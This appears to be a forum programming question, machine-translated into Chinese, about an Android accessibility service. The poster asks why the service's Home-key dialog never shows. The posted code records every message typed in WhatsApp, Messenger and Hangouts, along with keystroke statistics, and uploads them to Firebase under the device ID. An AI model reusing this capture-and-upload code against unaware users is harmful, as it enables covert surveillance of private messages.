我创建了一个Acessibility服务,以在用户使用特定应用程序(在这种情况下为环聊)时将用户发送的每条消息存储在FireBase中。
我试图在用户按下“主页”按钮时显示一个AlertDialog,要求重定向到我自己的应用程序。为此,我创建了方法onKeyEvent()和方法alertDialog()。
但是当我在环聊应用中并按“主页”按钮时,什么也没发生。
这是课程:
package com.example.appfirebase;
import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.AlertDialog;
import android.content.ComponentName;
import android.content.DialogInterface;
import android.content.Intent;
import android.net.Uri;
import android.util.Log;
import android.view.KeyEvent;
import android.view.accessibility.AccessibilityEvent;
import android.provider.Settings.Secure;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import io.opencensus.internal.StringUtil;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.logging.ConsoleHandler;
import java.util.regex.*;
import android.view.KeyEvent;
import android.widget.Toast;
public class MyAccessibilityService extends AccessibilityService {
DatabaseReference mRootReference;
String pastText = "", presentText = "";
int countAlpha = 0, countNonAlpha = 0, countDelete = 0, countChar = 0;
String presentTime = "", pastTime = "";
SimpleDateFormat format = new SimpleDateFormat("HH:mm:ss.SSS");
Date formatedPresentTime, formatedPastTime;
float timeDif;
float totalDifTime = 0;
String presentApp = "", pastApp = "";
char c;
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
//Conectamos FireBase con nuestro proyecto
mRootReference = FirebaseDatabase.getInstance().getReference();
//Obtenemos el ID del dispositivo donde se encuentra instalada la app
String id = Secure.getString(getBaseContext().getContentResolver(), Secure.ANDROID_ID);
//Obtenemos el nombre de la app actual
presentApp = event.getPackageName().toString();
System.out.println("ACCESSIBILITY SERVICE: PRESENT APP: " + presentApp);
System.out.println("ACCESSIBILITY SERVICE: PAST APP: " + pastApp);
//Obtenemos el tipo de evento
final int eventType = event.getEventType();
switch (eventType) {
case AccessibilityEvent.TYPE_VIEW_CLICKED:
if ((pastApp == "com.google.android.talk") && presentApp != "com.google.android.talk")
{
//pass
}
System.out.println("ACCESSIBILITY SERVICE: CLICKED!");
Map<String, Object> datosUsuario = new HashMap<>();
datosUsuario.put("id", id);
datosUsuario.put("Count Characters", countChar);
datosUsuario.put("Count Deletes", countDelete);
datosUsuario.put("Count Aplhanumeric", countAlpha);
datosUsuario.put("Count No-Alphanumeric", countNonAlpha);
datosUsuario.put("Time between strokes (miliseconds)", totalDifTime);
datosUsuario.put("Text", presentText);
datosUsuario.put("Time", presentTime);
datosUsuario.put("App", pastApp);
//Enviamos el bloque de datos con un push a Firebase
mRootReference.child(id).push().setValue(datosUsuario);
pastText = "";
presentText = "";
countAlpha = 0;
countNonAlpha = 0;
countDelete = 0;
countChar = 0;
presentTime = "";
pastTime = "";
totalDifTime = 0;
break;
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
presentTime = java.time.LocalTime.now().toString();
//Calculate the time between each stroke
/*try {
formatedPresentTime = format.parse(presentTime);
if (presentTime != "" && pastTime != "") {
timeDif = formatedPresentTime.getTime() - formatedPastTime.getTime();
totalDifTime = timeDif + totalDifTime;
}
} catch (ParseException e) {
e.printStackTrace();
}*/
countChar++;
presentText = event.getText().toString().replace("[", "").replace("]", "");
//Let's see if the user press "delete" key
if (pastText.length() > presentText.length()) {
System.out.println("ACCESSIBILITY SERVICE Ha entrado en Delete");
countDelete++;
System.out.println("ACCESSIBILITY SERVICE CountDelete: " + countDelete);
} else {
//If it's not a "delete", let's see if it's an alphanumeric char
c = presentText.charAt(presentText.length() - 1);
//System.out.println("ACCESSIBILITY SERVICE C: " + c);
if (!Character.isLetterOrDigit(c)) {
//System.out.println("ACCESSIBILITY SERVICE Ha entrado en NonAlpha");
countNonAlpha++;
//System.out.println("ACCESSIBILITY SERVICE countNonAlpha: " + countNonAlpha);
} else {
//System.out.println("ACCESSIBILITY SERVICE Ha entrado en Count Alpha");
countAlpha++;
//System.out.println("ACCESSIBILITY SERVICE CountAlpha: " + countAlpha);
}
}
System.out.println("ACCESSIBILITY SERVICE pastText: " + pastText);
System.out.println("ACCESSIBILITY SERVICE presentText: " + presentText);
pastText = presentText;
pastTime = presentTime;
pastApp = presentApp;
//print the typed text in the console. Or do anything you want here.
System.out.println("ACCESSIBILITY SERVICE (char): " + countChar);
System.out.println("ACCESSIBILITY SERVICE (Delete): " + countDelete);
System.out.println("ACCESSIBILITY SERVICE (alphanumeric): " + countAlpha);
System.out.println("ACCESSIBILITY SERVICE (non alphanumeric): " + countNonAlpha);
System.out.println("ACCESSIBILITY SERVICE (difTime): " + timeDif + " miliseconds");
break;
}
}
@Override
public void onInterrupt() {
alertDialog();
}
protected boolean onKeyEvent (KeyEvent event)
{
System.out.println("Entramos en onKeyEvent");
int keyCode = event.getKeyCode();
if (keyCode == KeyEvent.KEYCODE_MOVE_HOME)
{
try {
Intent lauchIntent = getPackageManager().getLaunchIntentForPackage("com.example.appfirebase");
startActivity(lauchIntent);
} catch (Exception e) {
e.printStackTrace();
}
}
return false;
}
@Override
public void onServiceConnected() {
//Configure our Accessibility service
AccessibilityServiceInfo info = getServiceInfo();
//Set the type of events that this service wants to listen to. Others won't be passed to this service
info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED | AccessibilityEvent.TYPE_VIEW_CLICKED;
//Set what applications will use the service. In this case: Whatsapp, FB Messenger and Hangouts
info.packageNames = new String[]
{"com.whatsapp", "com.facebook.orca", "com.google.android.talk"};
//Set the type of feedback your service will provide.
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
//Minimal period in milliseconds between two accessibility events of the same type are sent to this service.
info.notificationTimeout = 1;
info.flags = AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS;
this.setServiceInfo(info);
}
private void alertDialog() {
AlertDialog.Builder dialog = new AlertDialog.Builder(this);
dialog.setMessage("Do you want to complete the questionnaire now?");
dialog.setTitle("Questionnaire Box");
dialog.setPositiveButton("YES",
new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog,
int which) {
Toast.makeText(getApplicationContext(), "Great!", Toast.LENGTH_LONG).show();
try {
Intent lauchIntent = getPackageManager().getLaunchIntentForPackage("com.example.appfirebase");
startActivity(lauchIntent);
} catch (Exception e) {
e.printStackTrace();
}
}
});
dialog.setNegativeButton("CANCEL", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
Toast.makeText(getApplicationContext(), "Ohh What a pity :(", Toast.LENGTH_LONG).show();
}
});
AlertDialog alertDialog = dialog.create();
alertDialog.show();
}
}